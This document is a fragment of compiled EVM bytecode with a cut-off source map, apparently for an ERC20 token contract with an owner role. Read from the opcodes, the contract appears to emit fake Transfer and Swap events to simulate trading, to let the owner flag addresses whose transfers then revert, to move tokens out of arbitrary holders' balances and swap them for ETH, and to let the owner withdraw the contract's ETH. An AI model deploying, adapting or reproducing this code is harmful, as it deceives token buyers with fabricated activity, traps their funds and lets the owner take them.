ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b546001858a8a878181106109ce576109cd612c32565b5b90506020020160208101906109e39190612911565b426040518663ffffffff1660e01b8152600401610a039493929190612d64565b60006040518083038185885af1158015610a21573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190610a4b9190612ed4565b50858582818110610a5f57610a5e612c32565b5b9050602002016020810190610a749190612911565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868685818110610af757610af6612c32565b5b90506020020135604051610b0b9190612730565b60405180910390a38080610b1e90612f4c565b91505061096c565b505050505050565b60006012905090565b6000600267ffffffffffffffff811115610b5457610b53612bc1565b5b604051908082528060200260200182016040528015610b825781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c169190612c05565b81600081518110610c2a57610c29612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110610c7957610c78612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b5460018487426040518663ffffffff1660e01b8152600401610d189493929190612d64565b60006040518083038185885af1158015610d36573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190610d609190612ed4565b508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610de09190612730565b60405180910390a3505050565b6000600267ffffffffffffffff811115610e0a57610e09612bc1565b5b604051908082528060200260200182016040528015610e385781602001602082028036833780820191505090505b5090503081600081518110610e5057610e4f612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b9190612c05565b81600181518110610f2f57610f2e612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610f9830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611e02565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5600c5460018430426040518663ffffffff1660e01b8152600401610ffe959493929190612f94565b6000604051808303816000875af115801561101d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906110469190612ed4565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110c69190612730565b60405180910390a3505050565b6000806110de611dfa565b90506110ff8185856110f08589611c43565b6110fa9190612fee565b611e02565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111686123cd565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156112e25784848281811061121657611215612c32565b5b905060200201602081019061122b9190612911565b73ffffffffffffffffffffffffffffffffffffffff1687878381811061125457611253612c32565b5b90506020020160208101906112699190612911565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8585858181106112b3576112b2612c32565b5b905060200201356040516112c79190612730565b60405180910390a380806112da90612f4c565b9150506111f8565b50505050505050565b6112f36123cd565b6112fd600061244b565b565b6113076123cd565b60005b828290508110156114845760016002600085858581811061132e5761132d612c32565b5b90506020020160208101906113439190612911565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106113e0576113df612c32565b5b90506020020160208101906113f59190612911565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561145c86868681811061144257611441612c32565b5b90506020020160208101906114579190612911565b6111ac565b6040516114699190612730565b60405180910390a3808061147c90612f4c565b91505061130a565b505050565b60005b8484905081101561160e578484828181106114aa576114a9612c32565b5b90506020020160208101906114bf9190612911565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051611545949392919061305d565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061159957611598612c32565b5b90506020020160208101906115ae9190612911565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115f39190612730565b60405180910390a3808061160690612f4c565b91505061148c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461164d90612b90565b80601f016020809104026020016040519081016040528092919081815260200182805461167990612b90565b80156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b5050505050905090565b6116d86123cd565b82600b8190555081600c8190555080600d81905550505050565b60005b848490508110156118765784848281811061171357611712612c32565b5b90506020020160208101906117289190612911565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516117ad94939291906130a2565b60405180910390a38484828181106117c8576117c7612c32565b5b90506020020160208101906117dd9190612911565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161185b9190612730565b60405180910390a3808061186e90612f4c565b9150506116f5565b5050505050565b600080611888611dfa565b905060006118968286611c43565b9050838110156118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d290613159565b60405180910390fd5b6118e88286868403611e02565b60019250505092915050565b6000806118ff611dfa565b905061190c818585612057565b600191505092915050565b6000600267ffffffffffffffff81111561193457611933612bc1565b5b6040519080825280602002602001820160405280156119625781602001602082028036833780820191505090505b509050308160008151811061197a57611979612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a459190612c05565b81600181518110611a5957611a58612c32565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a9e833084611e02565b611aa9833084612057565b611ad630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611e02565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe58360018430426040518663ffffffff1660e01b8152600401611b3a959493929190612f94565b6000604051808303816000875af1158015611b59573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611b829190612ed4565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611be59190612730565b60405180910390a3505050565b611bfa6123cd565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611c40573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611cd26123cd565b60005b82829050811015611d7257600060026000858585818110611cf957611cf8612c32565b5b9050602002016020810190611d0e9190612911565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d6a90612f4c565b915050611cd5565b505050565b611d7f6123cd565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de5906131eb565b60405180910390fd5b611df78161244b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e689061327d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed79061330f565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611fbe9190612730565b60405180910390a3505050565b6000611fd78484611c43565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146120515781811015612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a9061337b565b60405180910390fd5b6120508484848403611e02565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bd9061340d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212c9061349f565b60405180910390fd5b61214083838361250f565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156121c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121be90613531565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122fb5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123575760011515600560009054906101000a900460ff16151514612356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234d90613577565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123b49190612730565b60405180910390a36123c7848484612514565b50505050565b6123d5611dfa565b73ffffffffffffffffffffffffffffffffffffffff166123f3611615565b73ffffffffffffffffffffffffffffffffffffffff1614612449576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612440906135e3565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061254482612519565b9050919050565b61255481612539565b82525050565b6000819050919050565b61256d8161255a565b82525050565b6000604082019050612588600083018561254b565b6125956020830184612564565b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125d65780820151818401526020810190506125bb565b60008484015250505050565b6000601f19601f8301169050919050565b60006125fe8261259c565b61260881856125a7565b93506126188185602086016125b8565b612621816125e2565b840191505092915050565b6000602082019050818103600083015261264681846125f3565b905092915050565b6000604051905090565b600080fd5b600080fd5b61266b81612539565b811461267657600080fd5b50565b60008135905061268881612662565b92915050565b6126978161255a565b81146126a257600080fd5b50565b6000813590506126b48161268e565b92915050565b600080604083850312156126d1576126d0612658565b5b60006126df85828601612679565b92505060206126f0858286016126a5565b9150509250929050565b60008115159050919050565b61270f816126fa565b82525050565b600060208201905061272a6000830184612706565b92915050565b60006020820190506127456000830184612564565b92915050565b60008060006060848603121561276457612763612658565b5b600061277286828701612679565b935050602061278386828701612679565b9250506040612794868287016126a5565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126127c3576127c261279e565b5b8235905067ffffffffffffffff8111156127e0576127df6127a3565b5b6020830191508360208202830111156127fc576127fb6127a8565b5b9250929050565b60008083601f8401126128195761281861279e565b5b8235905067ffffffffffffffff811115612836576128356127a3565b5b602083019150836020820283011115612852576128516127a8565b5b9250929050565b6000806000806040858703121561287357612872612658565b5b600085013567ffffffffffffffff8111156128915761289061265d565b5b61289d878288016127ad565b9450945050602085013567ffffffffffffffff8111156128c0576128bf61265d565b5b6128cc87828801612803565b925092505092959194509250565b600060ff82169050919050565b6128f0816128da565b82525050565b600060208201905061290b60008301846128e7565b92915050565b60006020828403121561292757612926612658565b5b600061293584828501612679565b91505092915050565b6000806000806000806060878903121561295b5761295a612658565b5b600087013567ffffffffffffffff8111156129795761297861265d565b5b61298589828a016127ad565b9650965050602087013567ffffffffffffffff8111156129a8576129a761265d565b5b6129b489828a016127ad565b9450945050604087013567ffffffffffffffff8111156129d7576129d661265d565b5b6129e389828a01612803565b92509250509295509295509295565b60008060208385031215612a0957612a08612658565b5b600083013567ffffffffffffffff811115612a2757612a2661265d565b5b612a33858286016127ad565b92509250509250929050565b60008060008060608587031215612a5957612a58612658565b5b600085013567ffffffffffffffff811115612a7757612a7661265d565b5b612a83878288016127ad565b94509450506020612a96878288016126a5565b9250506040612aa7878288016126a5565b91505092959194509250565b6000602082019050612ac8600083018461254b565b92915050565b600080600060608486031215612ae757612ae6612658565b5b6000612af5868287016126a5565b9350506020612b06868287016126a5565b9250506040612b17868287016126a5565b9150509250925092565b60008060408385031215612b3857612b37612658565b5b6000612b4685828601612679565b9250506020612b5785828601612679565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ba857607f821691505b602082108103612bbb57612bba612b61565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050612bff81612662565b92915050565b600060208284031215612c1b57612c1a612658565b5b6000612c2984828501612bf0565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000612c90612c8b612c8684612c61565b612c6b565b61255a565b9050919050565b612ca081612c75565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cdb81612539565b82525050565b6000612ced8383612cd2565b60208301905092915050565b6000602082019050919050565b6000612d1182612ca6565b612d1b8185612cb1565b9350612d2683612cc2565b8060005b83811015612d57578151612d3e8882612ce1565b9750612d4983612cf9565b925050600181019050612d2a565b5085935050505092915050565b6000608082019050612d796000830187612c97565b8181036020830152612d8b8186612d06565b9050612d9a604083018561254b565b612da76060830184612564565b95945050505050565b612db9826125e2565b810181811067ffffffffffffffff82111715612dd857612dd7612bc1565b5b80604052505050565b6000612deb61264e565b9050612df78282612db0565b919050565b600067ffffffffffffffff821115612e1757612e16612bc1565b5b602082029050602081019050919050565b600081519050612e378161268e565b92915050565b6000612e50612e4b84612dfc565b612de1565b90508083825260208201905060208402830185811115612e7357612e726127a8565b5b835b81811015612e9c5780612e888882612e28565b845260208401935050602081019050612e75565b5050509392505050565b600082601f830112612ebb57612eba61279e565b5b8151612ecb848260208601612e3d565b91505092915050565b600060208284031215612eea57612ee9612658565b5b600082015167ffffffffffffffff811115612f0857612f0761265d565b5b612f1484828501612ea6565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f578261255a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612f8957612f88612f1d565b5b600182019050919050565b600060a082019050612fa96000830188612564565b612fb66020830187612c97565b8181036040830152612fc88186612d06565b9050612fd7606083018561254b565b612fe46080830184612564565b9695505050505050565b6000612ff98261255a565b91506130048361255a565b925082820190508082111561301c5761301b612f1d565b5b92915050565b6000819050919050565b600061304761304261303d84613022565b612c6b565b61255a565b9050919050565b6130578161302c565b82525050565b6000608082019050613072600083018761304e565b61307f6020830186612564565b61308c6040830185612564565b613099606083018461304e565b95945050505050565b60006080820190506130b76000830187612564565b6130c4602083018661304e565b6130d1604083018561304e565b6130de6060830184612564565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006131436025836125a7565b915061314e826130e7565b604082019050919050565b6000602082019050818103600083015261317281613136565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006131d56026836125a7565b91506131e082613179565b604082019050919050565b60006020820190508181036000830152613204816131c8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132676024836125a7565b91506132728261320b565b604082019050919050565b600060208201905081810360008301526132968161325a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006132f96022836125a7565b91506133048261329d565b604082019050919050565b60006020820190508181036000830152613328816132ec565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613365601d836125a7565b91506133708261332f565b602082019050919050565b6000602082019050818103600083015261339481613358565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006133f76025836125a7565b91506134028261339b565b604082019050919050565b60006020820190508181036000830152613426816133ea565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006134896023836125a7565b91506134948261342d565b604082019050919050565b600060208201905081810360008301526134b88161347c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061351b6026836125a7565b9150613526826134bf565b604082019050919050565b6000602082019050818103600083015261354a8161350e565b9050919050565b50565b60006135616000836125a7565b915061356c82613551565b600082019050919050565b6000602082019050818103600083015261359081613554565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135cd6020836125a7565b91506135d882613597565b602082019050919050565b600060208201905081810360008301526135fc816135c0565b905091905056fea26469706673582212205663ea0f21ed7fa016a97397b22c9710a2067b528316fdac5b9e0cacdebebdab64736f6c63430008120033

Deployed Bytecode Sourcemap

25176:156:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25092:31;25101:10;25113:9;25092:31;;;;;;;:::i;:::-;;;;;;;;25176:156;;;9580:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11929:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10698:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12710:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22622:424;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10542:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22297:317;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23054:387;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13414:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22168:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24956:85;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10869:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23998:233;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6676:103;;;;;;;;;;;;;:::i;:::-;;21667:277;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24538:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6035:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9799:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21387:272;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24239:291;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14155:436;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11202:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23449:414;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23871:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24838:110;;;;;;;;;;;;;:::i;:::-;;11458:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21952:208;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6934:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9580:100;9634:13;9667:5;9660:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9580:100;:::o;11929:201::-;12012:4;12029:13;12045:12;:10;:12::i;:::-;12029:28;;12068:32;12077:5;12084:7;12093:6;12068:8;:32::i;:::-;12118:4;12111:11;;;11929:201;;;;:::o;10698:108::-;10759:7;10786:12;;10779:19;;10698:108;:::o;12710:295::-;12841:4;12858:15;12876:12;:10;:12::i;:::-;12858:30;;12899:38;12915:4;12921:7;12930:6;12899:15;:38::i;:::-;12948:27;12958:4;12964:2;12968:6;12948:9;:27::i;:::-;12993:4;12986:11;;;12710:295;;;;;:::o;22622:424::-;22716:21;22754:1;22740:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22716:40;;22777:4;;;;;;;;;;;:9;;;:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22767:4;22772:1;22767:7;;;;;;;;:::i;:::-;;;;;;;:21;;;;;;;;;;;22817:4;22799;22804:1;22799:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;22837:9;22833:205;22852:5;;:12;;22848:1;:16;22833:205;;;22886:4;;;;;;;;;;;:26;;;22921:11;;22935:1;22938:4;22944:5;;22950:1;22944:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22954:15;22886:84;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;23006:5;;23012:1;23006:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;22990:36;;22999:5;;;;;;;;;;;22990:36;;;23016:6;;23023:1;23016:9;;;;;;;:::i;:::-;;;;;;;;22990:36;;;;;;:::i;:::-;;;;;;;;22866:3;;;;;:::i;:::-;;;;22833:205;;;;22705:341;22622:424;;;;:::o;10542:93::-;10600:5;10625:2;10618:9;;10542:93;:::o;22297:317::-;22365:21;22403:1;22389:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22365:40;;22426:4;;;;;;;;;;;:9;;;:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22416:4;22421:1;22416:7;;;;;;;;:::i;:::-;;;;;;;:21;;;;;;;;;;;22466:4;22448;22453:1;22448:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;22482:4;;;;;;;;;;;:26;;;22517:11;;22531:1;22534:4;22540;22546:15;22482:80;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;22594:4;22578:28;;22587:5;;;;;;;;;;;22578:28;;;22600:5;22578:28;;;;;;:::i;:::-;;;;;;;;22354:260;22297:317;;:::o;23054:387::-;23121:21;23159:1;23145:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23121:40;;23190:4;23172;23177:1;23172:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;23216:4;;;;;;;;;;;:9;;;:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23206:4;23211:1;23206:7;;;;;;;;:::i;:::-;;;;;;;:21;;;;;;;;;;;23238:60;23255:4;23270;;;;;;;;;;;23277:20;;23238:8;:60::i;:::-;23309:4;;;;;;;;;;;:26;;;23336:14;;23351:1;23353:4;23366;23372:15;23309:79;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;23421:5;;;;;;;;;;;23404:29;;23413:6;23404:29;;;23428:4;23404:29;;;;;;:::i;:::-;;;;;;;;23110:331;23054:387;;:::o;13414:238::-;13502:4;13519:13;13535:12;:10;:12::i;:::-;13519:28;;13558:64;13567:5;13574:7;13611:10;13583:25;13593:5;13600:7;13583:9;:25::i;:::-;:38;;;;:::i;:::-;13558:8;:64::i;:::-;13640:4;13633:11;;;13414:238;;;;:::o;22168:121::-;22232:4;22256:14;:25;22271:9;22256:25;;;;;;;;;;;;;;;;;;;;;;;;;22249:32;;22168:121;;;:::o;24956:85::-;5921:13;:11;:13::i;:::-;25026:7:::1;25018:5;;:15;;;;;;;;;;;;;;;;;;24956:85:::0;:::o;10869:127::-;10943:7;10970:9;:18;10980:7;10970:18;;;;;;;;;;;;;;;;10963:25;;10869:127;;;:::o;23998:233::-;24119:9;24114:110;24138:5;;:12;;24134:1;:16;24114:110;;;24196:3;;24200:1;24196:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;24177:35;;24186:5;;24192:1;24186:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;24177:35;;;24204:4;;24209:1;24204:7;;;;;;;:::i;:::-;;;;;;;;24177:35;;;;;;:::i;:::-;;;;;;;;24152:3;;;;;:::i;:::-;;;;24114:110;;;;23998:233;;;;;;:::o;6676:103::-;5921:13;:11;:13::i;:::-;6741:30:::1;6768:1;6741:18;:30::i;:::-;6676:103::o:0;21667:277::-;5921:13;:11;:13::i;:::-;21752:9:::1;21747:190;21771:11;;:18;;21767:1;:22;21747:190;;;21844:4;21811:14;:30;21826:11;;21838:1;21826:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;21811:30;;;;;;;;;;;;;;;;:37;;;;;;;;;